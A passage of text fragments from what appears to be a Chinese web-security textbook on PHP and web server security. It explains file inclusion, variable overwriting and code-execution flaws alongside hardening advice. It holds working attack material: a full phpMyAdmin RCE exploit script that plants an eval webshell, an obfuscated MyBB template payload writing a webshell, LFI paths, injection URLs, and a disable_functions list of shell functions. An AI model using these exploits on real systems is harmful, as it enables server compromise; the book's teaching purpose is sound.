/usr/local/apache/logs/access.log /var/log/apache/access_log /var/log/apache/access.log /var/log/access_log /var/www/logs/error_log /var/www/logs/error.log /usr/local/apache/logs/error_log /usr/local/apache/logs/error.log /var/log/apache/error_log /var/log/apache/error.log /var/log/access_log /var/log/error_log Metasploit中包含了一个脚本自动化完成包含日志文件的攻击。"},
    {"text": "http://www.website.com/view.php? page=../../../../../proc/self/environ 包含/proc/self/environ文件，可能看到如下内容： DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/ html, application/xml;q=0.9, application/xhtml +xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b959484 4ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/ index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F.. %2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 以上这些方法，都要求PHP能够包含这些文件，而这些文件往往都处于Web目录之外，如果PHP配置了open_basedir，则很可能会使得攻击失效。"},
    {"text": "根据RFC1867，PHP处理上传文件的过程是这样的：PHP处理上传文件的过程 PHP会为上传文件创建临时文件，其目录在php.ini的upload_tmp_dir中定义。"},
    {"text": "Gynvael Coldwind深入研究了这个课题，并发表了paper：PHP LFI to arbitratry code execu-tion via rfc1867 file upload temporary files，有兴趣的读者可以参考此文。"},
    {"text": "这样极容易写出不安全的代码，比如下面这个例子： <?php echo \"Register_globals: \". (int)ini_get(\"register_globals\").\"<br/>\"; if ($auth){ echo \"private!\"; } ?> 当register_globals = OFF时，这段代码并不会出问题。 测试页面 但是当register_globals = ON时，提交请求URL：http://www.a.com/test1.php?auth=1，变量$auth将自动得到赋值： 从而导致发生安全问题。"},
    {"text": "假设有如下代码： <?php echo \"Register_globals: \". (int)ini_get(\"register_globals\").\"<br/>\"; if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k}); print $a; print $_GET[b]; ?> 这是一段常见的禁用register_globals的代码： if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k}); 变量$a未初始化，在register_globals = ON时，再尝试控制“$a”的值，会因为这段禁用代码而出错。 提交：http://www.a.com/test1.php?a=1&b=2 显示变量a未定义 而当尝试注入“GLOBALS[a]”以覆盖全局变量时，则可以成功控制变量“$a”的值。 提交：http://www.a.com/test1.php?GLOB-ALS[a]=1&b=2 显示变量a的值 这是因为unset()默认只会销毁局部变量，要销毁全局变量必须使用$GLOBALS。 比如： <?php function foo() { unset($GLOBALS['bar']); } $bar = \"something\"; foo(); ?> 而在register_globals = OFF时，则无法覆盖到全局变量。 显示变量a未定义 所以如果实现代码关闭register_globals，则一定要覆盖所有的superglobals，推荐使用下面的代码： <?php // Emulate register_globals off function unregister_GLOBALS() { if (!ini_get('register_globals')) { return; } // Might want to change this perhaps to a nicer error if (isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS'])) { die('GLOBALS overwrite attempt detected'); } // Variables that shouldn't be unset $noUnset = array('GLOBALS', '_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES'); $input = array_merge($_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_FILES, isset($_SESSION) && is_array($_SESSION) ? $_SESSION : array()); foreach ($input as $k => $v) { if (!in_array($k, $noUnset) && isset($GLOBALS[$k])) { unset($GLOBALS[$k]); } } } unregister_GLOBALS(); ?> 这在共享的PHP环境中（比如App Engine中）可能会比较有用。"},
    {"text": "14.2.2 extract()变量覆盖 extract()函数能将变量从数组导入当前的符号表，其函数定义如下： int extract ( array $var_array [, int $extract_type [, string $prefix ]] ) 其中，第二个参数指定函数将变量导入符号表时的行为，最常见的两个值是“EXTR_OVER-WRITE”和“EXTR_SKIP”。 当值为“EXTR_OVERWRITE”时，在将变量导入符号表的过程中，如果变量名发生冲突，则覆盖已有变量；"},
    {"text": "看如下代码： <?php $auth = '0'; extract($_GET); if ($auth == 1){ echo \"private!\"; }else { echo \"public!\"; } ?> 当extract()函数从用户可以控制的数组中导出变量时，可能发生变量覆盖。 在这个例子里，ex-tract()从$_GET中导出变量，从而可以导致任意变量被覆盖。"},
    {"text": "比如： $chs = ''; if($_POST && $charset != 'utf-8') { $chs = new Chinese('UTF-8', $charset); foreach($_POST as $key => $value) { $$key = $chs- >Convert($value); } unset($chs); 若提交参数chs，则可覆盖变量“$chs”的值。"},
    {"text": "14.2.4 import_request_variables变量覆盖 bool import_request_variables ( string $types [, string $prefix ] ) import_request_variables()将GET、POST、Cookie中的变量导入到全局，使用这个函数只需要简单地指定类型即可。"},
    {"text": "<?php $auth = '0'; import_request_variables('G'); if ($auth == 1){ echo \"private!\"; }else { echo \"public!\"; } ?> 以上代码中，import_request_variables('G')指定导入GET请求中的变量，从而导致变量覆盖问题。"},
    {"text": "14.2.5 parse_str()变量覆盖 void parse_str ( string $str [, array & $arr ] ) parse_str()函数往往被用于解析URL的query string，但是当参数值能被用户控制时，很可能导致变量覆盖。 类似下面的写法都是危险的： //var.php?var=new 变量覆盖 $var = 'init'; parse_str($_SERVER['QUERY_STRING']); print $var; 如果指定了parse_str()的第二个参数，则会将query string中的变量解析后存入该数组变量中。"},
    {"text": "14.3.1 “危险函数”执行代码 在前文中提到，文件包含漏洞是可以造成代码执行的。 但在PHP中，能够执行代码的方式远不止文件包含漏洞一种，比如危险函数popen()、sys-tem()、passthru()、exec()等都可以直接执行系统命令。"},
    {"text": "14.3.1.1 phpMyAdmin 3.4.3.1远程代码执行漏洞 在phpMyAdmin版本3.3.10.2与3.4.3.1以下存在一个变量覆盖漏洞，漏洞编号为：CVE-2011-2505，漏洞代码存在于libraries/auth/swekey/swekey.auth.lib.php中。"},
    {"text": "if (strstr($_SERVER['QUERY_STRING'],'session_to_ unset') != false) { parse_str($_SERVER['QUERY_STRING']); session_write_close(); session_id($session_to_unset); session_start(); $_SESSION = array(); session_write_close(); session_destroy(); exit; } 这是一个典型的通过parse_str()覆盖变量的漏洞，但是这个函数的逻辑很短，到最后直接就exit了，原本做不了太多事情。"},
    {"text": "这个漏洞导致的后果，就是所有从Session中取出的变量都将变得不再可信任，可能会导致很多XSS、SQL注入等问题，但我们直接看由CVE-2011-2506导致的静态代码注入—— 在setup/lib/ConfigGenerator.class.php 中： /** * Creates config file * * @return string */ public static function getConfigFile() { $cf = ConfigFile::getInstance(); $crlf = (isset($_SESSION['eol']) && $_SESSION['eol'] == 'win') ? \"\\r\\n\" : \"\\n\"; $c = $cf->getConfig(); // header $ret = '<?php' . $crlf . '/*' . $crlf . ' * Generated configuration file' . $crlf . ' * Generated by: phpMyAdmin ' . $GLOBALS['PMA_Config']- >get('PMA_VERSION') . ' setup script' . $crlf . ' * Date: ' . date(DATE_RFC1123) . $crlf . ' */' . $crlf . $crlf; // servers if ($cf->getServerCount() > 0) { $ret .= \"/* Servers configuration */$crlf\\$i = 0;\" . $crlf . $crlf; foreach ($c['Servers'] as $id => $server) { $ret .= '/* Server: ' . strtr($cf->getServerName($id), '*/', '-') . \" [$id] */\" . $crlf . '$i++;' . $crlf; foreach ($server as $k => $v) { $k = preg_replace('/[^A- Za-z0-9_]/', '_', $k); $ret .= \"\\$cfg['Servers'] [\\$i]['$k'] = \" . (is_array($v) && self::_isZeroBasedArray($v) ? self::_exportZeroBasedArray($v, $crlf) : var_export($v, true)) . ';' . $crlf; } $ret .= $crlf; } $ret .= '/* End of servers configuration */' . $crlf . $crlf; } unset($c['Servers']); // other settings $persistKeys = $cf- >getPersistKeysMap(); foreach ($c as $k => $v) { $k = preg_replace('/[^A-Za- z0-9_]/', '_', $k); $ret .= self::_getVarExport($k, $v, $crlf); if (isset($persistKeys[$k])) { unset($persistKeys[$k]); } } // keep 1d array keys which are present in $persist_keys (config.values.php) foreach (array_keys($persistKeys) as $k) { if (strpos($k, '/') === false) { $k = preg_replace('/[^A-Za- z0-9_]/', '_', $k); $ret .= self::_getVarExport($k, $cf->getDefault($k), $crlf); } } $ret .= '?>'; return $ret; } 其中，此处试图在代码中添加注释，但其拼接的是一个变量： $ret .= '/* Server: ' . strtr($cf- >getServerName($id), '*/', '-') . \" [$id] */\" . $crlf 需要注意的是，strtr()函数已经处理了变量$cf->getServerName($id)，防止该值中包含有*/，从而关闭注释符；"},
    {"text": "变量$c则是函数返回的结果：$c = $cf->get-Config(); 在libraries/config/ConfigFile.class.php中有getConfig()的实现： /** * Returns configuration array (full, multidimensional format) * * @return array */ public function getConfig() { $c = $_SESSION[$this->id]; foreach ($this->cfgUpdateReadMapping as $map_to => $map_from) { PMA_array_write($map_to, $c, PMA_array_read($map_from, $c)); PMA_array_remove($map_from, $c); } return $c; } 最终发现$c是从Session中取得的，而我们通过前面的漏洞可以覆盖Session中的任意变量，从而控制变量$c，最终注入“*/”闭合注释符，将PHP代码插入到config/config.inc.php中并执行。"},
    {"text": "国内安全研究者wofeiwo为此漏洞写了一段POC： #!/usr/bin/env python # coding=utf-8 # pma3 - phpMyAdmin3 remote code execute exploit # Author: wofeiwo<wofeiwo@80sec.com> # Thx Superhei # Tested on: 3.1.1, 3.2.1, 3.4.3 # CVE: CVE-2011-2505, CVE-2011-2506 # Date: 2011-07-08 # Have fun, DO *NOT* USE IT TO DO BAD THING. ############################################# ### # Requirements: 1. \"config\" directory must created&writeable in pma directory. # 2. session.auto_start = 1 in php.ini configuration. import os,sys,urllib2,re def usage(program): print \"PMA3 (Version below 3.3.10.2 and 3.4.3.1) remote code execute exploit\" print \"Usage: %s <PMA_url>\" % program print \"Example: %s http://www.test.com/ phpMyAdmin\" % program sys.exit(0) def main(args): try: if len(args) < 2: usage(args[0]) if args[1][-1] == \"/\": args[1] = args[1][:-1] print \"[+] Trying get form token&session_id..\" content = urllib2.urlopen(args[1]+\"/ index.php\").read() r1 = re.findall(\"token=(\\w{32})\", content) r2 = re.findall(\"phpMyAdmin=(\\w{32,40})\", content) if not r1: r1 = re.findall(\"token\\\" value= \\\"(\\w{32})\\\"\", content) if not r2: r2 = re.findall(\"phpMyAdmin\\\" value=\\\"(\\w{32,40})\\\"\", content) if len(r1) < 1 or len(r2) < 1: print \"[-] Cannot find form token and session id...exit.\" sys.exit(-1) token = r1[0] sessionid = r2[0] print \"[+] Token: %s , SessionID: %s\" % (token, sessionid) print \"[+] Trying to insert payload in $_SESSION..\" uri = \"/libraries/auth/swekey/ swekey.auth.lib.php? session_to_unset=HelloThere&_ SESSION [ConfigFile0][Servers][*/ eval(getenv('HTTP_CODE'));/*][host]=Hacked+By +PMA&_ SESSION[ConfigFile][Servers][*/ eval(getenv('HTTP_CODE'));/*][host]=Hacked+By +PMA\" url = args[1]+uri opener = urllib2.build_opener() opener.addheaders.append(('Cookie', 'phpMyAdmin=%s; pma_lang=en; pma_mcrypt_iv=ILXfl5RoJxQ%%3D; PHPSESSID= %s;' % (sessionid, sessionid))) urllib2.install_opener(opener) urllib2.urlopen(url) print \"[+] Trying get webshell..\" postdata =\"phpMyAdmin= %s&tab_hash=&token= %s&check_page_refresh=&DefaultLang =en&Server Default=0&eol=unix&submit_save=Save\" % (sessionid, token) url = args[1]+\"/setup/config.php\" # print \"[+]Postdata: %s\" % postdata urllib2.urlopen(url, postdata) print \"[+] All done, pray for your lucky!\" url = args[1]+\"/config/ config.inc.php\" opener.addheaders.append(('Code', 'phpinfo();')) urllib2.install_opener(opener) print \"[+] Trying connect shell: %s\" % url result = re.findall(\"System \\</td\\> \\<td class=\\\"v\\\"\\>(.*)\\</td\\>\\</tr\\>\", urllib2.urlopen(url).read()) if len(result) == 1: print \"[+] Lucky u! System info: %s\" % result[0] print \"[+] Shellcode is: eval(getenv('HTTP_CODE'));\" else: print \"[-] Cannot get webshell.\" except Exception, e: print e if __name__ == \"__main__\" : main(sys.argv) 关键代码是： uri = \"/libraries/auth/swekey/ swekey.auth.lib.php? session_to_unset=HelloThere&_ SESSION[ConfigFile0] [Servers][*/eval(getenv('HTTP_CODE'));/*] [host]=Hacked+By+PMA&_SESSION[ConfigFile][Se rvers][*/eval(getenv('HTTP_CODE'));/*] [host]=Hacked+By+PMA\" 它将“ /eval()/ ”注入到要覆盖的SESSION变量的key中。"},
    {"text": "//index.php，336行左右 $plugins->run_hooks(\"index_end\"); //出现了eval函数，注意参数 eval(\"\\$index = \\\"\".$templates- >get(\"index\").\"\\\";\"); output_page($index); 挖掘漏洞的过程，通常需要先找到危险函数，然后回溯函数的调用过程，最终看在整个调用的过程中用户是否有可能控制输入。 可以看到eval()的输入来自于$templates->get(\"index\")，继续找到此函数的定义： //inc/class_templates.php，65行左右 function get($title, $eslashes=1, $htmlcomments=1) { global $db, $theme, $mybb; // // DEVELOPMENT MODE // if($mybb->dev_mode == 1) { $template = $this- >dev_get($title); if($template !== false) { $this->cache[$title] = $template; } } if(!isset($this->cache[$title])) { $query = $db- >simple_select(\"templates\", \"template\", \"title='\".$db- >escape_string($title).\"' AND sid IN ('-2','-1','\". $theme['templateset'].\"')\", array('order_by' => 'sid', 'order_dir' => 'DESC', 'limit' => 1)); //从数据库里面取出模板的代码 $gettemplate = $db- >fetch_array($query); if($mybb->debug_mode) { $this- >uncached_templates[$title] = $title; } if(!$gettemplate) { $gettemplate['template'] = \"\"; } $this->cache[$title] = $gettemplate['template']; } $template = $this->cache[$title]; if($htmlcomments) { if($mybb- >settings['tplhtmlcomments'] == 1) { $template = \"<!-- start: \".htmlspecialchars_uni($title).\" --> \\n{$template}\\n <!-- end: \".htmlspecialchars_uni($title).\" -->\"; } else { $template = \"\\n{$template}\\n\"; } } if($eslashes) { $template = str_replace(\"\\\\'\", \"'\", addslashes($template)); } return $template; } 原来get()函数获得的内容是从数据库中取出的。"},
    {"text": "//admin/modules/style/templates.php，372行开始 if($mybb->input['action'] == \"edit_template\") { $plugins- >run_hooks(\"admin_style_templates_edit_templa te\"); if(!$mybb->input['title'] || !$sid) { flash_message($lang- >error_missing_input, 'error'); admin_redirect(\"index.php? module=style/templates\"); } if($mybb->request_method == \"post\") { if(empty($mybb->input['title'])) { $errors[] = $lang- >error_missing_title; } if(!$errors) { $query = $db- >simple_select(\"templates\", \"*\", \"tid='{$mybb->input['tid']}'\"); $template = $db- >fetch_array($query); //获取到我们输入的内容，包括模板 的标题和内容 $template_array = array( 'title' => $db- >escape_string($mybb->input['title']), 'sid' => $sid, 'template' => $db- >escape_string(trim($mybb- >input['template'])), 'version' => $mybb->version_code, 'status' => '', 'dateline' => TIME_NOW ); // Make sure we have the correct tid associated with this template. If the user double submits then the tid could originally be the master template tid, but because the form is sumbitted again, the tid doesn't get updated to the new modified template one. This then causes the master template to be overwritten $query = $db- >simple_select(\"templates\", \"tid\", \"title='\".$db- >escape_string($template['title']).\"' AND (sid = '-2' OR sid = '{$template['sid']}')\", array('order_by' => 'sid', 'order_dir' => 'desc', 'limit' => 1)); $template['tid'] = $db- >fetch_field($query, \"tid\"); if($sid > 0) { // Check to see if it's never been edited before (i.e. master) of if this a new template (i.e. we've renamed it) or if it's a custom template $query = $db- >simple_select(\"templates\", \"sid\", \"title='\".$db- >escape_string($mybb->input['title']).\"' AND (sid = '-2' OR sid = '{$sid}' OR sid='{$template['sid']}')\", array('order_by' => 'sid', 'order_dir' => 'desc')); $existing_sid = $db- >fetch_field($query, \"sid\"); $existing_rows = $db- >num_rows($query); //更新模板数据库 if(($existing_sid == -2 && $existing_rows == 1) || $existing_rows == 0) { $tid = $db- >insert_query(\"templates\", $template_array); } else { $db- >update_query(\"templates\", $template_array, \"tid='{$template['tid']}' AND sid != '-2'\"); } } 通过编辑模板功能可以将数据写入数据库，然后通过调用前台文件使得eval()得以执行，唯一需要处理的是一些敏感字符。 flyh4t给出了如下POC： 在后台 Home -> Template Sets -> Default Templates 选择Edit Template: index 在{$headerinclude}下写入如下一段代码后保存: {${assert(chr(102).chr(112).chr(117).chr(116) .chr(115).chr(40).chr(102).chr(111).chr( 112).chr(101).chr(110).chr(40).chr(39).chr(99 ).chr(97).chr(99).chr(104).chr(101).chr( 47).chr(102).chr(108).chr(121).chr(104).chr(5 2).chr(116).chr(46).chr(112).chr(104).ch r(112).chr(39).chr(44).chr(39).chr(119).chr(3 9).chr(41).chr(44).chr(39).chr(60).chr(6 3).chr(112).chr(104).chr(112).chr(32).chr(64) .chr(36).chr(95).chr(80).chr(79).chr(83) .chr(84).chr(91).chr(119).chr(93).chr(40).chr (36).chr(95).chr(80).chr(79).chr(83).chr (84).chr(91).chr(102).chr(93).chr(41).chr(63) .chr(62).chr(39).chr(41).chr(59))}} 访问首页后将在cache目录下生成flyh4t.php，内容为 <?php @$_POST[w]($_POST[f])?> 这个案例清晰地展示了如何从“找到敏感函数eval()”到“成为一个代码执行漏洞”的过程。"},
    {"text": "在database.inc.php导入zip文件时，存在写文件操作，但其对安全的判断过于简单，导致用户可以将此文件内容修改为PHP代码： ..... elseif($operation == 'importzip') { require_once DISCUZ_ROOT.'admin/ zip.func.php'; $unzip = new SimpleUnzip(); $unzip->ReadFile($datafile_server); if($unzip->Count() == 0 || $unzip- >GetError(0) != 0 || !preg_match(\"/\\.sql$/i\", $importfile = $unzip->GetName(0))) { cpmsg('database_import_file_illegal', '', 'error'); } $identify = explode(',', base64_decode(preg_replace(\"/^# Identify: \\s*(\\w+).*/s\", \"\\\\1\", substr($unzip->GetData(0), 0, 256)))); $confirm = !empty($confirm) ? 1 : 0; if(!$confirm && $identify[1] != $version) { cpmsg('database_import_confirm', 'admincp.php?action=database&operation= importzip&datafile_server= $datafile_server&importsubmit=yes&confirm=yes ', 'form'); } $sqlfilecount = 0; foreach($unzip->Entries as $entry) { if(preg_match(\"/\\.sql$/i\", $entry- >Name)) { $fp = fopen('./forumdata/'. $backupdir.'/'.$entry->Name, 'w'); fwrite($fp, $entry->Data); fclose($fp); $sqlfilecount++; } } ...... 最后有fwrite()写文件操作。 同时注意： preg_match(\"/\\.sql$/i\", $importfile = $unzip- >GetName(0)) 将控制文件后缀为 .sql，但是其检查并不充分，攻击者可以利用Apache的文件名解析特性（参考“文件上传漏洞”一章），构造文件名为：081127_k4pFUs3C-1.php.sql。"},
    {"text": "漏洞POC： <6.0 :admincp.php? action=importzip&datafile_server=./附件路径/ 附件名.zip&importsubmit =yes =6.1 :admincp.php? action=database&operation=importzip&datafile_ server=./附件路径/附件名 称.zip&importsubmit=yes&frames=yes 14.3.3 其他执行代码方式 通过上面的几个真实案例，让我们对PHP中代码执行漏洞的复杂性有了初步的了解。"},
    {"text": "直接执行代码的函数 PHP中有不少可以直接执行代码的函数，比如：eval()、assert()、system()、exec()、shell_exec()、passthru()escapeshellcmd()、pcntl_exec()等。"},
    {"text": "文件包含 文件包含漏洞也是代码注入的一种，需要高度关注能够包含文件的函数：include()、in-clude_once()、require()、require_once()。 <?php $to_include = $_GET['file']; require_once($to_include . '.html'); ?> 本地文件写入 能够往本地文件里写入内容的函数都需要重点关注。"},
    {"text": "preg_replace()代码执行 preg_replace()的第一个参数如果存在/e模式修饰符，则允许代码执行。 <?php $var = '<tag>phpinfo()</tag>'; preg_replace(\"/<tag>(.*?)<\\/tag>/e\", 'addslashes(\\\\1)', $var); ?> 需要注意的是，即便第一个参数中并没有/e模式修饰符，也是有可能执行代码的。"},
    {"text": "<?php $regexp = $_GET['re']; $var = '<tag>phpinfo()</tag>'; preg_replace(\"/<tag>(.*?)$regexp<\\/tag>/\", '\\ \\1', $var); ?> 针对这段代码，可以通过如下方式注入： http://www.example.com/index.php?re=<\\/tag>/e%00 当preg_replace()的第一个参数中包含了/e时，用户无论是控制了第二个参数还是第三个参数，都可以导致代码执行。"},
    {"text": "<?php $dyn_func = $_GET['dyn_func']; $argument = $_GET['argument']; $dyn_func($argument); ?> 这种写法近似于后门，将直接导致代码执行，比如： http://www.example.com/index.php? dyn_func=system&argument=uname 与此类似，create_function()函数也具备此能力。 <?php $foobar = $_GET['foobar']; $dyn_func = create_function('$foobar', \"echo $foobar;\"); $dyn_func(''); ?> 攻击payload如下： http://www.example.com/index.php? foobar=system('ls') Curly Syntax PHP的Curly Syntax也能导致代码执行，它将执行花括号间的代码，并将结果替换回去，如下例： <?php $var = \"I was innocent until ${`ls`} appeared here\"; ?> ls命令将列出本地目录的文件，并将结果返回。 如下例，phpinfo()函数将执行： <?php $foobar = 'phpinfo'; ${'foobar'}(); ?> 回调函数执行代码 很多函数都可以执行回调函数，当回调函数用户可控时，将导致代码执行。 <?php $evil_callback = $_GET['callback']; $some_array = array(0, 1, 2, 3); $new_array = array_map($evil_callback, $some_array); ?> 攻击payload如下： http://www.example.com/index.php? callback=phpinfo 此类函数很多，下面列出一些可以执行call-back参数的函数。 array_map() usort(), uasort(), uksort() array_filter() array_reduce() array_diff_uassoc(), array_diff_ukey() array_udiff(), array_udiff_assoc(), array_udiff_uassoc() array_intersect_assoc(), array_intersect_uassoc() array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc() array_walk(), array_walk_recursive() xml_set_character_data_handler() xml_set_default_handler() xml_set_element_handler() xml_set_end_namespace_decl_handler() xml_set_external_entity_ref_handler() xml_set_notation_decl_handler() xml_set_processing_instruction_handler() xml_set_start_namespace_decl_handler() xml_set_unparsed_entity_decl_handler() stream_filter_register() set_error_handler() register_shutdown_function() register_tick_function() ob_start()实际上也可以执行回调函数，需要特别注意。 <?php $foobar = 'system'; ob_start($foobar); echo 'uname'; ob_end_flush(); ?> unserialize()导致代码执行 unserialize()这个函数也很常见，它能将序列化的数据重新映射为PHP变量。"},
    {"text": "但是unserialize()在执行时如果定义了 destruct()函数，或者是 wakeup()函数，则这两个函数将执行。 unserialize()代码执行有两个条件，一是unse-rialize()的参数用户可以控制，这样可以构造出需要反序列化的数据结构； 二是存在 destruct()函数或者 wakeup()函数，这两个函数实现的逻辑决定了能执行什么样的代码。 攻击者可以通过unserialize()控制 destruct()或 wakeup()中函数的输入。"},
    {"text": "参考下面的例子： class Example { var $var = ''; function __destruct() { eval($this->var); } } unserialize($_GET['saved_code']); ?> 攻击payload如下： http://www.example.com/index.php? saved_code=O:7:\"Example\":1: {s:3:\"var\";s:10:\"phpinfo( );\";} 攻击payload可以先模仿目标代码的实现过程，然后再通过调用serialize()获得。"},
    {"text": "register_globals 当register_globals = ON时，PHP不知道变量从何而来，也容易出现一些变量覆盖的问题。 因此从最佳实践的角度，强烈建议设置 register_globals= OFF，这也是PHP新版本中的默认设置。"},
    {"text": "log_errors = On magic_quotes_gpc 推荐关闭，它并不值得依赖（请参考“注入攻击”一章），已知已经有若干种方法可以绕过它，甚至由于它的存在反而衍生出一些新的安全问题。"},
    {"text": "magic_quotes_gpc = OFF cgi.fix_pathinfo 若PHP以CGI的方式安装，则需要关闭此项，以避免出现文件解析问题（请参考“文件上传漏洞”一章）。"},
    {"text": "cgi.fix_pathinfo = 0 session.cookie_httponly 开启HttpOnly（HttpOnly的作用请参考“跨站脚本攻击”一章）。 session.cookie_httponly = 1 session.cookie_secure 若是全站HTTPS则请开启此项。 session.cookie_secure =1 safe_mode PHP的安全模式是否应该开启的争议一直比较大。"},
    {"text": "如果是共享环境（比如App Engine），则建议开启safe_mode，可以和disable_functions配合使用； 如果是单独的应用环境，则可以考虑关闭它，更多地依赖于disable_functions控制运行环境安全。"},
    {"text": "需要特别注意的是，如果开启了safe_mode，则exec()、system()、passthru()、popen()等函数并非被禁用，而是只能执行在“safe_mode_exec_dir”所指定目录下存在的可执行文件。 如果要允许这些函数，则请设置好safe_mode_exec_dir的值并将此目录设置为不可写。"},
    {"text": "safe_mode被绕过的情况，往往是因为加载了一些非官方的PHP扩展。 扩展自带的函数可以绕过safe_mode，因此请谨慎加载非默认开启的PHP扩展，除非能确认它们是安全的。"},
    {"text": "这是把双刃剑，禁用函数可能会为开发带来不便，但禁用的函数太少又可能增加开发写出不安全代码的几率，同时为黑客获取webshell提供便利。 一般来说，如果是独立的应用环境，则推荐禁用以下函数： disable_functions = escapeshellarg, es-capeshellcmd, exec, passthru, proc_close,proc_get_status, proc_open, proc_nice, proc_ter-minate, shell_exec, system, ini_restore, popen, dl,disk_free_space, diskfreespace, set_time_limit,tmpfile, fopen, readfile, fpassthru, fsockopen,mail, ini_alter, highlight_file, openlog,show_source, symlink, apache_child_terminate,apache_get_modules, apache_get_version,apache_getenv, apache_note, apache_setenv,parse_ini_file 如果是共享环境（比如App Engine），则需要禁用更多的函数。 这方面可以参考新浪推出的SAE平台，在共享的PHP环境下，禁用的函数列表如下： 禁用的函数： php_real_logo_guid,php_egg_logo_guid,php_ini_scanned_files,php_ini_loaded_file,read-link,linkinfo,symlink,link,exec,system,es-capeshellcmd,escapeshellarg,passthru,shell_exec,proc_open,proc_close,proc_terminate,proc_get_status,proc_nice,getmyuid,getmygid,getmyin-ode,putenv,getopt,sys_getloadavg,getrusage,get_current_user,magic_quotes_runtime,set_magic_quotes_runtime,import_request_variables,de-bug_zval_dump,ini_alter,dl,pclose,popen,stream_select,stream_filter_prepend,stream_filter_ap-pend,stream_filter_remove,stream_socket_client,stream_socket_server,stream_socket_ac-cept,stream_socket_get_name,stream_socket_recvfrom,stream_socket_sendto,stream_socket_en-able_crypto,stream_socket_shutdown,stream_socket_pair,stream_copy_to_stream,stream_get_con-tents,stream_set_write_buffer,set_file_buffer,set_socket_blocking,stream_set_blocking,socket_set_blocking,stream_get_meta_data,stream_get_line,stream_register_wrapper,stream_wrapper_re-store,stream_get_transports,stream_is_lo-cal,get_headers,stream_set_timeout,socket_get_status,mail,openlog,syslog,closelog,apc_add,apc_cache_info,apc_clear_cache,apc_compile_file,apc_define_constants,apc_delete,apc_load_con-stants,apc_sma_info,apc_store,flock,pfsock-open,posix_kill,apache_child_termi-nate,apache_get_modules,apache_get_ver-sion,apache_getenv,apache_lookup_uri,apache_reset_timeout,apache_response_head-ers,apache_setenv,virtual,mysql_pconnect,mem-cache_add_server,memcache_connect,mem-cache_pconnect 禁用的类： XMLWriter,DOMDocument,DOMNota-tion,DOMXPath,SQLiteDatabase,SQLiteRe-sult,SQLiteUnbuffered,SQLiteException 对于PHP 6来说，安全架构发生了极大的变化，magic_quotes_gpc、safe_mode等都已经取消，同时提供了一些新的安全功能。"},
    {"text": "因此Web服务器的安全不容忽视。 Web服务器安全，考虑的是应用布署时的运行环境安全。 这个运行环境包括Web Server、脚本语言解释器、中间件等软件，这些软件所提供的一些配置参数，也可以起到安全保护的作用。 本章将抛砖引玉，讲讲Web服务器有哪些常见的运行时安全问题，虽然并不能概括所有的问题，但却是历年来导致安全事件最多的一些问题。"},
    {"text": "15.1 Apache安全 尽管近年来Nginx、LightHttpd等WebServer的市场份额增长得很快，但Apache仍然是这个领域中独一无二的巨头，互联网上大多数的Web应用依然跑在Apache Httpd上。"},
    {"text": "纵观Apache的漏洞史，它曾经出现过许多次高危漏洞。 但这些高危漏洞，大部分是由Apache的Module造成的，Apache核心的高危漏洞几乎没有。 Apache有很多官方与非官方的Module，默认启动的Module出现过的高危漏洞非常少，大多数的高危漏洞集中在默认没有安装或enable的Module上。"},
    {"text": "因此，检查Apache安全的第一件事情，就是检查Apache的Module安装情况，根据“最小权限原则”，应该尽可能地减少不必要的Module，对于要使用的Module，则检查其对应版本是否存在已知的安全漏洞。"},
    {"text": "这里的admin身份是指服务器管理员在管理机器时使用的身份。 这个身份的权限也是比较高的，因为管理员有操作管理脚本、访问配置文件、读/写日志等需求。"},
    {"text": "使用高权限身份运行Apache的结果可能是灾难性的，它会带来两个可怕的后果： （1）当黑客入侵Web成功时，将直接获得一个高权限（比如root或admin）的shell；"},
    {"text": "我们曾在“应用层拒绝服务攻击”一章中提到过这些参数： TimeOut KeepAlive LimitRequestBody LimitRequestFields LimitRequestFieldSize LimitRequestLine LimitXMLRequestBody AcceptFilter MaxRequestWorkers 在Apache的官方文档中，对如何使用这些参数给出了指导。"},
    {"text": "一般来说，攻击者入侵成功后，要做的第一件事情就是清除入侵痕迹，修改、删除日志文件，因此access log应当妥善保管，比如实时地发送到远程的syslog服务器上。"},
    {"text": "Nginx官方的补丁页面 比如CVE-2010-2266是一个Nginx的拒绝服务漏洞，触发条件非常简单： http://[ webserver IP][:port]/%c0.%c0./%c0. %c0./%c0.%c0./%c0.%c0./%20 http://[ webserver IP][:port]/%c0.%c0./%c0. %c0./%c0.%c0./%20 http://[ webserver IP][:port]/%c0.%c0./%c0. %c0./%20 因此多多关注Nginx的漏洞信息，并及时将软件升级到安全的版本，是非常有必要的一件事情。"},
    {"text": "从历史的经验来看，如果一个软件出现的漏洞较多，那么说明代码维护者的安全意识与安全经验有所欠缺，同时由于破窗效应，这个软件未来往往会出现更多的漏洞。"},
